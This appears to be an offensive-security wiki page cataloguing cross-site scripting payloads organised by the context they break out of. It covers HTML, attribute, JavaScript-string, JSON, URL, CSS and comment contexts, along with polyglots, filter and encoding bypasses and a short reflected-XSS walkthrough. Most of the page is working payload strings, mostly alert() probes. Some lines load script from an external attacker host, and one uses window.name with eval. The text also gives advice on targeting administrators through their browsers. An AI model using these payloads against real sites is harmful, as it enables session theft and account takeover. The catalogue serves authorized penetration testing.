Skip to content

Payload Construction

XSS payload construction is two steps performed in order: escape the surrounding context, then execute your code. A payload that doesn’t escape first lands in the data layer and never executes. A payload that escapes too aggressively breaks the surrounding HTML and doesn’t render. The catalog below organizes payloads by what they escape out of.

# 1. Identify the context - what is your input embedded in?
# 2. Pick the escape: characters that terminate the current context
# 3. Append the execution: JavaScript or HTML that runs after escape
# HTML body - no escape needed
<svg onload=alert(1)>
# Double-quoted attribute - escape is "
" onmouseover=alert(1) x="
# Single-quoted attribute - escape is '
' onmouseover=alert(1) x='
# JS string (double-quoted) - escape is "; for terminate, then //
"; alert(1); //
# JSON inside script - escape is </script>
</script><svg onload=alert(1)>
# href attribute - no escape needed, use javascript: scheme
javascript:alert(1)
# Polyglot - works in many contexts at once
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Success indicator: payload executes the expected JavaScript in the victim’s browser. alert(document.domain) proves same-origin execution.

A common failure mode for new XSS operators: paste <script>alert(1)</script> everywhere, wonder why it doesn’t fire. The fix is mechanical - understand what your input lands in, then craft a payload that breaks out of that context first.

A walk-through:

Page source:

<script>
window.config = {"user": "VICTIM_INPUT_HERE", "role": "guest"};
</script>

You inject <script>alert(1)</script>. The rendered output:

<script>
window.config = {"user": "<script>alert(1)</script>", "role": "guest"};
</script>

What happens? The <script> element’s contents are JavaScript, not HTML. The literal characters <script>alert(1)</script> inside a JS string are just text. The browser doesn’t parse a nested <script> tag here - it’s reading JavaScript, not HTML.

The XSS doesn’t fire.

But:

You inject </script><svg onload=alert(1)>. The rendered output:

<script>
window.config = {"user": "</script><svg onload=alert(1)>", "role": "guest"};
</script>

What happens? The browser’s HTML parser tokenizes the page before the JavaScript parser runs. The HTML tokenizer sees </script> as a script-close tag, regardless of where it appears in the surrounding content. The script block ends. The <svg onload=...> that follows is HTML. The onload fires.

The XSS fires.

The difference between failure and success: knowing that </script> is the escape for “inside a <script> block, even inside a JS string.”

This is the discipline. Every context has its own escape. The catalog below.

<!-- Input lands as text between tags -->
<p>HERE</p>
<div>HERE</div>
<h1>Welcome HERE!</h1>

No escape needed; introduce a new tag:

<svg onload=alert(1)> <!-- shortest universally-firing payload -->
<img src=x onerror=alert(1)> <!-- bypasses some script-tag filters -->
<script>alert(1)</script> <!-- classic, blocked by many filters -->
<iframe srcdoc="<script>alert(parent.document.domain)</script>">
<body onload=alert(1)> <!-- requires no existing body tag -->
<details open ontoggle=alert(1)> <!-- HTML5 element -->
<video><source onerror=alert(1)></video>
<audio src=x onerror=alert(1)>
<marquee onstart=alert(1)> <!-- legacy, sometimes survives modern filters -->
<!-- Input lands inside a double-quoted attribute -->
<input value="HERE">
<input type="hidden" name="csrf" value="HERE">
<a href="/search?q=HERE">link</a>

Escape with ", add new attribute:

" onmouseover=alert(1) x=" <!-- needs hover -->
" autofocus onfocus=alert(1) x=" <!-- auto-fires on input fields -->
" onclick=alert(1) x=" <!-- needs click -->
"><svg onload=alert(1)> <!-- escape attribute AND tag -->
"><script>alert(1)</script> <!-- escape then new script -->
" onpointerover=alert(1) x=" <!-- newer event, bypasses old filters -->

For <input> specifically, autofocus onfocus= is the gold standard - fires immediately on page load with no user action.

<input value='HERE'>
<a href='/page?q=HERE'>link</a>

Symmetric to double-quoted; swap quotes:

' onmouseover=alert(1) x='
' autofocus onfocus=alert(1) x='
'><svg onload=alert(1)>
<input value=HERE>

Space, tab, or slash to break:

onmouseover=alert(1) <!-- space -->
/onmouseover=alert(1) <!-- slash works as attribute separator in HTML5 -->
%09onmouseover=alert(1) <!-- tab via URL encoding -->
%0Aonmouseover=alert(1) <!-- newline -->

JS context - inside a double-quoted string

Section titled “JS context - inside a double-quoted string”
<script>var query = "HERE";</script>

Escape: close the string, add JS, comment out the rest:

"; alert(1); //
"; alert(1); var z=" <!-- if // is filtered, use a dummy variable -->
\"; alert(1); // <!-- if " is auto-backslashed, try double-escape -->

The ; after the escape terminates the JS statement; // comments out the original closing ".

JS context - inside a single-quoted string

Section titled “JS context - inside a single-quoted string”
<script>var query = 'HERE';</script>
'; alert(1); //
';alert(1)//
<script>var greeting = `Hello, HERE`;</script>

Template literals allow ${} interpolation, evaluated as JS:

${alert(1)}
${alert(document.domain)}

No string-escape needed; the ${...} placeholder syntax invokes JS directly.

JS context - unquoted (numeric / variable)

Section titled “JS context - unquoted (numeric / variable)”
<script>var userId = HERE;</script>

Pure JavaScript, no quote to break:

alert(1)
0;alert(1);0
1-alert(1)-1 <!-- ensures the surrounding code still parses -->
<script>var data = {"name": "HERE"};</script>

The browser’s HTML parser tokenizes </script> before JS parsing:

</script><svg onload=alert(1)>
</script><script>alert(1)</script>
</ScRiPt><svg onload=alert(1)> <!-- case-insensitive match -->
</script ><svg onload=alert(1)> <!-- whitespace allowed inside closing tag -->

If the application JSON-encodes the value (escaping < to \u003c), this doesn’t work - JSON-encoded content is safe in JS strings and in HTML inside scripts. Modern apps that properly JSON.stringify their output aren’t vulnerable to this class.

<a href="HERE">click</a>
<iframe src="HERE">

javascript: pseudo-scheme:

javascript:alert(1)
javascript:alert(document.domain)
javasc&Tab;ript:alert(1) <!-- HTML entity injection mid-scheme -->
JaVaScRiPt:alert(1) <!-- case bypass for filters checking exact match -->
data:text/html,<script>alert(1)</script> <!-- data URI, sometimes works -->

Or break the attribute:

"><script>alert(1)</script>
"><svg onload=alert(1)>

For href, requires user click. For iframe src, auto-loads - but modern browsers restrict cross-context javascript: URLs in iframes.

<style>body { color: HERE; }</style>
<div style="color: HERE">text</div>

Direct JS execution from CSS is no longer possible (IE-only expression() is dead). Two indirect paths:

</style><svg onload=alert(1)> <!-- escape style block -->
"><svg onload=alert(1)> <!-- escape style attribute -->
<!-- User comment: HERE -->

Escape the comment:

--><svg onload=alert(1)><!--
<noscript>HERE</noscript>

<noscript> content is parsed only when JS is disabled. If JS is enabled, the content stays text. But - the HTML parser still tokenizes, just doesn’t render. mXSS-style attacks can move the payload out of <noscript> during DOM manipulation:

</noscript><svg onload=alert(1)>

A payload that fires in multiple contexts simultaneously. Useful when you don’t know the exact context, or for spray-and-pray fuzzing.

The famous one:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Designed to fire in:

  • href attribute (the javascript: scheme)
  • HTML body (the <svg onload> at end)
  • Inside <style>, <title>, <textarea>, <script>, comment - escaped via the closing-tag sequence
  • JS string contexts via the */ and // comments

Drawbacks: long, conspicuous, blocked by many WAFs because of its very obviousness.

">'-><script>alert(1)</script>
"><svg onload=alert(1)>
"-prompt(1)-"
'-alert(1)-'
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html onmouseover="/*&lt;svg/*/onload=alert()//

Each tries different escape sequences. Test them all when context is unknown.

Minimal payloads (length-restricted contexts)

Section titled “Minimal payloads (length-restricted contexts)”

Some fields limit input to 16-30 characters. Short payloads:

<svg/onload=alert(1)> 22 chars
<a href=//<attacker>/x.js> varies - relies on external script load
<script src=//x.cc> 18 chars - external script (DNS-shortened domain)
<svg onload=alert``> 20 chars - tagged template, no parens

The alert\`form uses tagged template literals to invokealertwithout parentheses - bypasses filters that block(`.

For ultra-short:

<svg/onload=eval(name)> 21 chars

Combine with window.name='alert(1)' set by attacker page - the target’s eval(name) executes the attacker-set name.

Filter regimes that block specific characters require structural workarounds.

Many filters block ( because it appears in alert(...). Alternatives:

alert`1` // tagged template literal
onerror=alert;throw 1 // throw triggers onerror handler with arg
[1].find(alert) // method that calls callback with arg
Object.defineProperty(...,{get:alert,...}) // getter trick
alert(/xss/.source) // regex source - string-typed without quotes
alert(String.fromCharCode(88,83,83)) // build string from char codes
<svg/onload=alert(1)> <!-- slash separates tag and attribute -->
<svg%09onload=alert(1)> <!-- tab via URL encoding -->
<img/src/onerror=alert(1)> <!-- multiple slashes work in HTML5 -->

The infamous one. Pure punctuation JavaScript:

[][(![]+[])[+!![]]+([][[]]+[])[+!![]]+...]

Each []+[] expression evaluates to a string (“undefined”); index into it for letters. Build “alert” character by character, then call. The resulting payload is enormous and conspicuous; included for completeness, never useful in practice.

XSS sometimes works in one browser and not another:

QuirkBrowser(s)
<iframe srcdoc>All modern browsers
javascript: in <iframe src>Cross-context blocked in modern Chrome/Firefox
onfocus on <input autofocus>All browsers
<details open ontoggle>All but very old Safari
Function('')() constructorAll browsers
data:text/html navigationRestricted in modern browsers
URL constructor with javascript:Chrome only
HTML entity in scheme javasc&Tab;ript:Browser tolerance varies

When a payload works in Firefox but not Chrome (or vice versa), check whether the victim model uses a specific browser. Internal corporate apps often constrain to Chrome or Edge; admins are reachable via that constraint.

Sometimes the payload itself is fine but it doesn’t survive transport. Encoding helps it through filters.

<svg onload=alert&#40;1&#41;> <!-- &#40;= ( &#41;= ) -->
<svg onload=alert&lpar;1&rpar;> <!-- named entities -->
<svg onload="alert&#x28;1&#x29;"> <!-- hex entities -->
%3Csvg%20onload%3Dalert(1)%3E <!-- <svg onload=alert(1)> -->
%3Csvg%2Fonload%3Dalert%281%29%3E <!-- with paren encoding -->
%253Csvg%2520onload%253Dalert(1)%253E

Bypasses filters that decode-then-scan once. The server’s second decode reveals the payload.

\u003cscript\u003ealert(1)\u003c/script\u003e

In some JS contexts (eval, Function constructor), Unicode escapes within identifiers and strings are evaluated.

\x3cscript\x3ealert(1)\x3c/script\x3e

Inside JS string literals, \x3c = <. The string-context payload becomes valid even when the original parser would reject <.

Target page renders ?msg= parameter into:

<div class="alert"><b>HERE</b></div>
?msg=<svg onload=alert(1)>

Response:

<div class="alert"><b>&lt;svg onload=alert(1)&gt;</b></div>

< and > HTML-encoded. Direct injection blocked.

?msg=test"quote'and<more>chars&amp;

Response:

<div class="alert"><b>test&quot;quote&#039;and&lt;more&gt;chars&amp;amp;</b></div>

Everything encoded. No obvious escape character. Move on or look for other rendering surfaces.

Try a different param. After more probing, find that ?type= reflects into:

<input type="HERE">

Submit:

?type="><svg onload=alert(1)>

Response:

<input type=""><svg onload=alert(1)>">

XSS fires. The ?msg= reflection was the red herring; ?type= is the real bug.

The lesson: don’t fixate on one reflection. The same page often has multiple inputs reflecting into different contexts with different escaping treatments. Probe all of them.

ContextEscapePayload after escape
HTML bodynone<svg onload=alert(1)>
Attribute (double-quoted)"" onmouseover=alert(1) x="
Attribute (single-quoted)'' onmouseover=alert(1) x='
Attribute (unquoted) or //onmouseover=alert(1)
JS string (double)""; alert(1); //
JS string (single)''; alert(1); //
JS template literalnone${alert(1)}
JS unquotednonealert(1)
JSON in script</script></script><svg onload=alert(1)>
URL attributenonejavascript:alert(1)
Auto-firing in attribute"" autofocus onfocus=alert(1) x="
Without parenstemplate literalalert`1`
Without quotesregex sourcealert(/xss/.source)
Without spacesslash<svg/onload=alert(1)>
Polyglot (short)mixed"-prompt(1)-"
URL-encoded%xx%3Csvg%20onload%3Dalert(1)%3E
Double-encoded%25xx%253Csvg%2520onload%253Dalert(1)%253E
Confirm same-originproofalert(document.domain)

For WAF/filter bypasses when payloads are blocked, see Filter bypasses. For blind XSS payload patterns specifically tailored to admin renderers you can’t observe directly, see Blind XSS.

Defenses D3-CBV